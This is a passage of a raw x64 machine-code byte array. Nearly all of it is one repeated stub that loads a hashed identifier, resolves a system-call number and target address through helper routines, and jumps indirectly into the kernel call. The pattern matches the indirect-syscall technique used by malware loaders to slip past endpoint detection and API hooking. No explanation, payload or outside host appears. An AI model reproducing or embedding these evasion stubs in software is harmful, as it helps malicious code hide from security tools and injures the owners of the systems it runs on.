,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xA2,0x15,0xA9,0x8F,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xF5,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x8A,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x20,0xBC,0xBC,0xBD,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x9B,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x30,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x80,0xE9,0x93,0x03,0x51,0x48,0x83,0xEC,0x28,0xE8,0x44,0xFD,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD9,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x32,0x1B,0xAB,0x17,0x51,0x48,0x83,0xEC,0x28,0xE8,0xED,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x82,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1B,0x03,0x95,0x05,0x51,0x48,0x83,0xEC,0x28,0xE8,0x96,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x2B,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x05,0x2F,0x93,0x01,0x51,0x48,0x83,0xEC,0x28,0xE8,0x3F,0xFC,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD4,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xB6,0x8E,0x01,0x96,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE5,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x7A,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1A,0x2A,0xB2,0x24,0x51,0x48,0x83,0xEC,0x28,0xE8,0x8E,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x23,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0xE2,0x98,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0x37,0xFB,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xCC,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x8F,0x2C,0x5B,0x4A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xE0,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x75,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x13,0xA4,0xBF,0x9C,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x86,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x1B,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x4F,0xF6,0x23,0x0E,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2F,0xFA,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xC4,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0x76,0x63,0x42,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD8,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x6D,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1A,0x6A,0xB2,0x64,0x51,0x48,0x83,0xEC,0x28,0xE8,0x81,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x16,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xA0,0x64,0x2E,0x65,0x51,0x48,0x83,0xEC,0x28,0xE8,0x2A,0xF9,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBF,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x0C,0x32,0x9F,0x1D,0x51,0x48,0x83,0xEC,0x28,0xE8,0xD3,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x68,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x36,0x71,0x91,0x27,0x51,0x48,0x83,0xEC,0x28,0xE8,0x7C,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x11,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x84,0x83,0x9C,0x09,0x51,0x48,0x83,0xEC,0x28,0xE8,0x25,0xF8,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xBA,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x87,0x5F,0xBE,0x1A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xCE,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x63,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xEA,0x62,0xBD,0xBC,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x74,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x09,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x6D,0xBA,0xD1,0x8A,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x1A,0xF7,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xAF,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0F,0x98,0x97,0x8C,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xC0,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x55,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xA7,0x8C,0x3A,0xA6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x66,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xFB,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0xF9,0x12,0x69,0xF0,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x0C,0xF6,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xA1,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x18,0x39,0xA3,0x73,0x51,0x48,0x83,0xEC,0x28,0xE8,0xB5,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x4A,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xFB,0x5E,0xAB,0x7C,0x51,0x48,0x83,0xEC,0x28,0xE8,0x5E,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xF3,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x1E,0x5C,0x98,0x38,0x51,0x48,0x83,0xEC,0x28,0xE8,0x07,0xF5,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x9C,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x82,0x4D,0xDF,0x84,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0xAD,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x42,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x0C,0x86,0xB2,0xA1,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x53,0xF4,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE8,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x80,0x2D,0x1F,0x0A,0x51,0x48,0x83,0xEC,0x28,0xE8,0xFC,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x91,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x13,0x36,0x82,0x14,0x51,0x48,0x83,0xEC,0x28,0xE8,0xA5,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x3A,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x8A,0xF2,0x3D,0xE6,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x4B,0xF3,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xE0,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x3A,0x3D,0xA8,0x32,0x51,0x48,0x83,0xEC,0x28,0xE8,0xF4,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x89,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x5C,0x59,0xF3,0x6A,0x51,0x48,0x83,0xEC,0x28,0xE8,0x9D,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x32,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xB9,0x6E,0x23,0x30,0xE8,0x00,0x00,0x00,0x00,0x51,0x48,0x83,0xEC,0x28,0xE8,0x43,0xF2,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD8,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0xE3,0x55,0x3F,0x11,0x51,0x48,0x83,0xEC,0x28,0xE8,0xEC,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x81,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x04,0x0E,0xDA,0x6B,0x51,0x48,0x83,0xEC,0x28,0xE8,0x95,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0x2A,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x10,0xDE,0xB1,0x12,0x51,0x48,0x83,0xEC,0x28,0xE8,0x3E,0xF1,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x59,0x50,0x48,0x83,0xEC,0x28,0xE8,0xD3,0xF0,0xFF,0xFF,0x48,0x83,0xC4,0x28,0x41,0x5B,0x48,0x8B,0x4C,0x24,0x08,0x48,0x8B,0x54,0x24,0x10,0x4C,0x8B,0x44,0x24,0x18,0x4C,0x8B,0x4C,0x24,0x20,0x49,0x89,0xCA,0x41,0xFF,0xE3,0x90,0x0F,0x0B,0x48,0x89,0x4C,0x24,0x08,0x48,0x89,0x54,0x24,0x10,0x4C,0x89,0x44,0x24,0x18,0x4C,0x89,0x4C,0x24,0x20,0x48,0xC7,0xC1,0x20,0x35,0x89,0x10,0x51,0x48,0